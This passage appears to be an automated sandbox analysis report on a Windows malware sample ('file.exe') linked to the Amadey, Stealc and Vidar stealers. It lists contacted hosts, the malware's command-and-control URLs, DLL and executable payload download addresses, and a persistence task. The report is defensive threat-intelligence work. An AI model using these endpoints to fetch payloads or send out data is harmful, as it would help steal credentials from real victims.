c.msn.com	unknown	unknown	false	high
tse1.mm.bing.net	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239340418601_1XRLHD1YRS9ZZSDWX&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
https://sb.scorecardresearch.com/b?rn=1732803473899&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=03480115B31365D60A331450B23A64BD&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732803486832&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239381974406_1PX0P2H3JT1SGPC2P&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732803487821&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732803473894&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732803473897&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://sb.scorecardresearch.com/b2?rn=1732803473899&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=03480115B31365D60A331450B23A64BD&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239381974407_1ZDRM1NCYDR575WXY&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2475802803.0000000023AED000.00000004.00000020.00020000.00000000.sdmp, JEHIJJKE.0.dr, EBGCGHID.0.dr, Web Data.10.dr	false		high
https://c.msn.com/	2cc80dabc69f58b6_1.10.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000002.2736555309.00000000017A5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2475802803.0000000023AED000.00000004.00000020.00020000.00000000.sdmp, JEHIJJKE.0.dr, EBGCGHID.0.dr, Web Data.10.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	false		high
https://ntp.msn.com/0	000003.log.10.dr	false		high
https://ntp.msn.com/_default	QuotaManager.10.dr	false		high
https://www.last.fm/	57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	false		high
https://deff.nelreports.net/api/report?cat=msn	Reporting and NEL.11.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.10.dr	false		high
http://31.41.244.11/files/6180536652/nbea1t8.exe	skotes.exe, 00000022.00000002.3407506473.0000000000B29000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000022.00000002.3407506473.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000022.00000002.3407506473.0000000000B40000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.10.dr	false		high
https://deff.nelreports.net/api/report	Reporting and NEL.11.dr	false		high
https://docs.google.com/	manifest.json0.10.dr	false		high
https://www.youtube.com	57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	false		high
http://31.41.244.11/	skotes.exe, 00000022.00000002.3407506473.0000000000B29000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.instagram.com	57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpJDAFHJ.exeata;	file.exe, 00000000.00000002.2734481674.0000000000F57000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: malware	unknown
https://drive.google.com/	manifest.json0.10.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	false		high
https://www.messenger.com	57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	false		high
https://i.y.qq.com/n2/m/index.html	57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	false		high
https://www.deezer.com/	57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dllvRq	file.exe, 00000000.00000002.2736555309.0000000001788000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://web.telegram.org/	57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.10.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	HJJKJJDHCGCAECAAECFH.0.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json0.10.dr	false		high
http://185.215.113.206/c4becf79229cb002.php&	file.exe, 00000000.00000002.2736555309.00000000017A5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://vibe.naver.com/today	57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.10.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000002.2736555309.00000000017A5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2475802803.0000000023AED000.00000004.00000020.00020000.00000000.sdmp, JEHIJJKE.0.dr, EBGCGHID.0.dr, Web Data.10.dr	false		high
https://assets.msn.com	8b013bdd-f270-4931-8c4f-1a15f3e5a078.tmp.11.dr, 3a2c69d2-c4cb-4ea5-ac91-4a1edb2b3955.tmp.11.dr	false		high
https://www.ecosia.org/newtab/	JEHIJJKE.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.10.dr	false		high
https://excel.new?from=EdgeM365Shoreline	57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	HJJKJJDHCGCAECAAECFHDAECFH.0.dr	false		high
http://185.215.113.206ngineer	file.exe, 00000000.00000002.2734481674.0000000000F57000.00000040.00000001.01000000.00000003.sdmp	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.10.dr	false		high
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.11.dr	false		high
http://31.41.244.11/215.113.43/Zu7JuNko/index.php	skotes.exe, 00000022.00000002.3407506473.0000000000B29000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/chrome	content.js.10.dr, content_new.js.10.dr	false		high
https://www.tiktok.com/	57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	false		high
http://31.41.244.11/files/6180536652/nbea1t8.exe;	skotes.exe, 00000022.00000002.3407506473.0000000000B40000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	HJJKJJDHCGCAECAAECFHDAECFH.0.dr	false		high
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.10.dr	false		high
https://chromewebstore.google.com/	manifest.json.10.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.10.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.10.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	false		high
https://chrome.google.com/webstore/	manifest.json.10.dr	false		high
https://y.music.163.com/m/	57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	false		high
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	false		high
https://bard.google.com/	57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	false		high
http://31.41.244.11/files/6180536652/nbea1t8.exe)A	skotes.exe, 00000022.00000002.3407506473.0000000000B40000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.10.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpW	file.exe, 00000000.00000002.2775237203.0000000023B4C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000002.2775237203.0000000023B42000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2736555309.00000000017A5000.00000004.00000020.00020000.00000000.sdmp, HJJKJJDHCGCAECAAECFH.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dlllU	file.exe, 00000000.00000002.2736555309.0000000001788000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.10.dr	false		high
https://web.whatsapp.com	57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	false		high
https://m.kugou.com/	57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpd	file.exe, 00000000.00000002.2736555309.000000000172E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.office.com	57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	false		high
https://outlook.live.com/mail/0/	57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dllzUM	file.exe, 00000000.00000002.2736555309.0000000001788000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/2C	file.exe, 00000000.00000002.2736555309.0000000001788000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ntp.msn.com/edge/ntp	000003.log.10.dr, 2cc80dabc69f58b6_1.10.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.10.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpC	skotes.exe, 00000022.00000002.3407506473.0000000000B29000.00000004.00000020.00020000.00000000.sdmp	false		high
https://powerpoint.new?from=EdgeM365Shoreline	57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000002.2736555309.00000000017A5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2475802803.0000000023AED000.00000004.00000020.00020000.00000000.sdmp, JEHIJJKE.0.dr, EBGCGHID.0.dr, Web Data.10.dr	false		high
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	file.exe, 00000000.00000002.2775237203.0000000023B42000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2736555309.00000000017A5000.00000004.00000020.00020000.00000000.sdmp, HJJKJJDHCGCAECAAECFH.0.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.57.90.139	unknown	United States	35994	AKAMAI-ASUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
20.189.173.2	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
3.171.139.124	unknown	United States	16509	AMAZON-02US	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.181.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
23.44.133.17	unknown	United States	20940	AKAMAI-ASN1EU	false
23.209.72.35	unknown	United States	20940	AKAMAI-ASN1EU	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
13.91.222.61	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.57.90.147	unknown	United States	35994	AKAMAI-ASUS	false
23.57.90.148	unknown	United States	35994	AKAMAI-ASUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
20.75.60.91	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.165.220.110	sb.scorecardresearch.com	United States	3	MIT-GATEWAYSUS	false

Private

IP
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1564591
Start date and time:	2024-11-28 15:16:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	35
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@76/288@23/26
EGA Information:	Successful, ratio: 60%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.198.118.190, 216.58.208.227, 172.217.17.46, 74.125.205.84, 192.229.221.95, 34.104.35.123, 172.217.17.42, 172.217.17.74, 172.217.19.202, 216.58.208.234, 172.217.19.234, 142.250.181.10, 142.250.181.42, 142.250.181.106, 142.250.181.74, 172.217.21.35, 217.20.59.37, 13.107.42.16, 13.107.21.239, 204.79.197.239, 13.107.6.158, 204.79.197.203, 4.175.223.124, 88.221.134.17, 88.221.135.81, 2.16.158.51, 2.16.158.58, 2.16.158.59, 2.16.158.88, 2.16.158.75, 2.16.158.74, 2.16.158.80, 2.16.158.72, 2.16.158.73, 2.16.158.33, 2.16.158.43, 2.16.158.34, 2.16.158.27, 2.16.158.35, 2.16.158.26, 2.16.158.187, 2.16.158.40, 2.21.67.64, 2.16.76.24, 2.16.76.32, 2.21.67.57, 2.21.67.65, 95.100.181.143, 95.100.181.133, 2.16.158.186, 2.16.158.169, 2.16.158.91, 2.16.158.179, 2.16.158.184, 2.16.158.185, 2.16.158.176, 2.16.158.96, 13.74.129.1, 13.107.21.237, 204.79.197.237, 172.165.61.93, 2.16.158.90, 2.16.158.170, 2.16.158.83, 142.251.41.3, 142.250.65.227, 142.251.40.163, 142.250.72.99, 142.250.64.99
Excluded domains from analysis (whitelisted): prod-agic-us-3.uksouth.cloudapp.azure.com, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, g.bing.com, prod-agic-we-10.westeurope.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, star.b.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, mm-mm.bing.net.trafficmanager.net, c.bing.com, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, arc.msn.com
Execution Graph export aborted for target DocumentsIIJKJDAFHJ.exe, PID 8464 because it is empty
Execution Graph export aborted for target skotes.exe, PID 7988 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
09:17:35	API Interceptor	248x Sleep call for process: file.exe modified
09:19:01	API Interceptor	77x Sleep call for process: skotes.exe modified
15:18:03	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	remi.exe	Get hash	malicious	Remcos, PureLog Stealer	Browse	172.64.41.3
	rem.exe	Get hash	malicious	Remcos, PureLog Stealer	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	remi.exe	Get hash	malicious	Remcos, PureLog Stealer	Browse	94.245.104.56
	rem.exe	Get hash	malicious	Remcos, PureLog Stealer	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
fg.microsoft.map.fastly.net	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	199.232.214.172
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	199.232.210.172
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	199.232.210.172
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	199.232.214.172
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	199.232.214.172
	CZxDiTktSY.exe	Get hash	malicious	XWorm	Browse	199.232.210.172
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	199.232.214.172
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	199.232.210.172
	phish_alert_sp2_2.0.0.0 (6).eml	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://storage.googleapis.com/windows_bucket1/turbo/download/TurboVPN_setup.exe	Get hash	malicious	Unknown	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
AKAMAI-ASUS	botx.mips.elf	Get hash	malicious	Mirai	Browse	184.31.203.179
	Mein-Dienstrad Proposal.eml	Get hash	malicious	HTMLPhisher	Browse	2.23.161.164
	FACTURE NON PAYEE.pdf	Get hash	malicious	Unknown	Browse	23.47.168.24
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	23.195.239.101
	Scan_6090402.pdf	Get hash	malicious	Unknown	Browse	23.47.168.24
	nabppc.elf	Get hash	malicious	Unknown	Browse	23.0.245.87
	nabmips.elf	Get hash	malicious	Unknown	Browse	184.26.41.14
	nabsh4.elf	Get hash	malicious	Unknown	Browse	104.68.217.131
	nabx86.elf	Get hash	malicious	Unknown	Browse	172.226.113.114
	botx.x86.elf	Get hash	malicious	Mirai	Browse	23.51.169.189
EDGECASTUS	https://public-fra.mkt.dynamics.com/api/orgs/85a8c477-bea7-ef11-8a66-0022483994f9/r/MKSqoVs73k-RUO5uHPfRswIAAAA?target=%7B%22TargetUrl%22%3A%22https%253A%252F%252Fassets-fra.mkt.dynamics.com%252F85a8c477-bea7-ef11-8a66-0022483994f9%252Fdigitalassets%252Fstandaloneforms%252F46042089-b8ac-ef11-a72d-6045bd6e29e8%22%2C%22RedirectOptions%22%3A%7B%226%22%3A%22mktprf9fb729cc84d74db3bce9a30da7409e87eoprf%22%2C%221%22%3Anull%7D%7D&digest=juexwq7Jl6DCR7CneIIynCjAtNPRJ1FxLmm99rnbDLA%3D&secretVersion=02e7c83d621d4269af2f08a8e4e233cf	Get hash	malicious	Unknown	Browse	152.199.21.175
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	152.195.19.97
	NF---710.msi	Get hash	malicious	AteraAgent	Browse	152.199.23.209
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	152.195.19.97
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	152.195.19.97
	Demande de proposition du Accueil-Parrainage Outaouais.pdf	Get hash	malicious	Unknown	Browse	152.199.19.160
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	152.195.19.97
